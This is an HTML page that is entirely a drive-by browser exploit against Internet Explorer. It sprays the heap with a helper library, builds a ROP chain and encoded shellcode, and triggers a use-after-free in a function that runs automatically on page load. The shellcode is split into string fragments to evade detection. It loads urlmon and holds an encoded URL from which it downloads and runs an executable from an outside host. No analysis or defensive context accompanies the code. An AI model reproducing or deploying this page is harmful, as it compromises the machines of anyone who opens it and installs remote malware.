ieexp.htm

<!doctype html>
<html>
<head>
<script>
function mmfuncLib() {
}
</script>
<script>
mmfuncLib.ie = function(maxAlloc, heapBase) {
    this.paddingStr = "AAAA";
    this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
    this.heapBase = (heapBase ? heapBase : 0x150000);
    while (4 + this.paddingStr.length*2 + 2 < this.maxAlloc) {
        this.paddingStr += this.paddingStr;
    }
    this.mem = new Array();
    this.flushOleaut32();
}

mmfuncLib.ie.prototype.debug = function(msg) {
    void(Math.atan2(0xbabe, msg));
}

mmfuncLib.ie.prototype.allocOleaut32 = function(arg, tag) {

    var size;

    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;
    else
        size = arg;


    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";


    if (this.mem[tag] === undefined)
        this.mem[tag] = new Array();

    if (typeof arg == "string" || arg instanceof String) {

        this.mem[tag].push(arg.substr(0, arg.length));
    }
    else {

        this.mem[tag].push(this.padding((arg-6)/2));
    }
}


mmfuncLib.ie.prototype.debugHeap = function(enable) {

    if (enable == true)
        void(Math.atan(0xbabe));
    else
        void(Math.asin(0xbabe));
}

mmfuncLib.ie.prototype.debugBreak = function(msg) {
    void(Math.acos(0xbabe));
}
mmfuncLib.ie.prototype.padding = function(len) {
    if (len > this.paddingStr.length)
        throw "Requested padding string length " + len + ", only " + this.paddingStr.length + " available";

    return this.paddingStr.substr(0, len);
}
mmfuncLib.ie.prototype.round = function(num, round) {
    if (round == 0)
        throw "Round argument cannot be 0";

    return parseInt((num + (round-1)) / round) * round;
}

mmfuncLib.ie.prototype.hex = function(num, width)
{
    var digits = "0123456789ABCDEF";

    var hex = digits.substr(num & 0xF, 1);

    while (num > 0xF) {
        num = num >>> 4;
        hex = digits.substr(num & 0xF, 1) + hex;
    }

    var width = (width ? width : 0);

    while (hex.length < width)
        hex = "0" + hex;

    return hex;
}
mmfuncLib.ie.prototype.addr = function(addr) {
	//test
    return unescape("%u" + this.hex(addr & 0xFFFF, 4) + "%u" + this.hex((addr >> 16) & 0xFFFF, 4));
}
mmfuncLib.ie.prototype.freeOleaut32 = function(tag) {

    delete this.mem[tag];


    CollectGarbage();
}

mmfuncLib.ie.prototype.alloc = function(arg, tag) {

    var size;


    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;
    else
        size = arg;


    if (size == 32 || size == 64 || size == 256 || size == 32768)
        throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache";


    this.allocOleaut32(arg, tag);
}


mmfuncLib.ie.prototype.free = function(tag) {


    this.freeOleaut32(tag);


    this.flushOleaut32();
}

mmfuncLib.ie.prototype.gc = function() {

    this.debug("Running the garbage collector");
    CollectGarbage();

    this.flushOleaut32();
}

mmfuncLib.ie.prototype.freeList = function(arg, count) {

    var count = (count ? count : 1);

    for (var i = 0; i < count; i++) {
        this.alloc(arg);
        this.alloc(arg, "freeList");
    }
    this.alloc(arg);

    this.free("freeList");
}

mmfuncLib.ie.prototype.flushOleaut32 = function() {

    this.debug("Flushing the OLEAUT32 cache");


    this.freeOleaut32("oleaut32");


    for (var i = 0; i < 6; i++) {
        this.allocOleaut32(32, "oleaut32");
        this.allocOleaut32(64, "oleaut32");
        this.allocOleaut32(256, "oleaut32");
        this.allocOleaut32(32768, "oleaut32");
    }
}

mmfuncLib.ie.prototype.lookaside = function(arg, count) {

    var size;


    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;
    else
        size = arg;


    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    if (size+8 >= 1024)
        throw("Maximum lookaside block size is 1008 bytes");

    var count = (count ? count : 1);

    for (var i = 0; i < count; i++)
        this.alloc(arg, "lookaside");

    this.free("lookaside");
}

mmfuncLib.ie.prototype.lookasideAddr = function(arg)
{
    var size;


    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;
    else
        size = arg;


    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    if (size+8 >= 1024)
        throw("Maximum lookaside block size is 1008 bytes");


    return this.heapBase + 0x688 + ((size+8)/8)*48;
}

mmfuncLib.ie.prototype.vtable = function(shellcode, jmpecx, size) {
    var vtable = unescape("%u9090%u7ceb")
    var size = (size ? size : 1008);


    if ((size & 0xf) != 0)
        throw "Vtable size " + size + " must be a multiple of 16";

    if (shellcode.length*2 > size-138)
        throw("Maximum shellcode length is " + (size-138) + " bytes");


    for (var i = 0; i < 124/4; i++)
        vtable += this.addr(jmpecx);


    vtable += unescape("%u0028%u0028") +
              shellcode + heap.padding((size-138)/2 - shellcode.length);

    return vtable;
}


var heap_obj = new mmfuncLib.ie(0x20000);
var code = unescape("%u5"+"ed6%u77bc%u5ed6%u7"+"7bc%u5ed6%u77bc%u5ed6%u77bc%"+"u5ed6%u77bc%u5ed6%u77bc%u5ed6"+"%u77bc%u5ed6%u77bc%u5ed6%u77bc%"+"u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u5ed6%u77bc%u362c%u77bd%u5ed5%u77bc%uee15%u77be%uee15%u77be%ufa1c%u77bf%u0400%u0000%u0d13%u77c0%u0040%u0000%ueeef%u77be%ud9bb%u77c0%ua88c%u77bd%u9f92%u77be%ua184%u77be%uaacc%u77bd%ub860%u77be%u1120%u77bc%u3ad9%u77d0%u1025%u77c0");
    code +=unescape(
	"%ua3e9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c" +
	"%u1c70%u8bad%u0868%uf78b%u046a%ue859%u0043%u0000" +
	"%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u9516" +
	"%u2ee8%u0000%u8300%u20ec%udc8b%u206a%uff53%u0456" +
	"%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300" +
	"%u50c0%u5350%u5057%u56ff%u8b10%u50dc%uff53%u0856" +
	"%u56ff%u510c%u8b56%u3c75%u748b%u782e%uf503%u8b56" +
	"%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be" +
	"%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775" +
	"%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd" +
	"%u8b04%uc503%u5eab%uc359%u58e8%uffff%u8eff%u0e4e" +
	"%uc1ec%ue579%u98b8%u8afe%uef0e%ue0ce%u3660%u2f1a" +
	"%u6870%u7474%u3a70%u2f2f%u756d%u756d%u322e%u7535" +
	"%u632e%u6d6f%u692f%u6565%u7078%u6f6c%u6572%u652e" +
	"%u6578%u0000");

var nops = unescape("%u4579%u796d");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, 0x586);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
	heap_obj.alloc(block);
}


function AAFunc11()
{
	var e0 = null;
	var e1 = null;
	var e2 = null;

	try {
		e0 = document.getElementById("a");
		e1 = document.getElementById("b");
		e2 = document.createElement("q");
		e1.applyElement(e2);
		e1.appendChild(document.createElement('button'));
		e1.applyElement(e0);
		e2.outerText = "";
		e2.appendChild(document.createElement('body'));
	} catch(e) { }
	CollectGarbage();
	var eip = window;
	var data = "UWIhkMJUrpWyguJFdkZuczuabURjXtlNWejnRstva";
	eip.location = unescape("%u0b30%u0c0c" + data);
}

</script>
</head><body onload="eval(AAFunc11())"><form id="a"></form><dfn id="b"></dfn></body></html>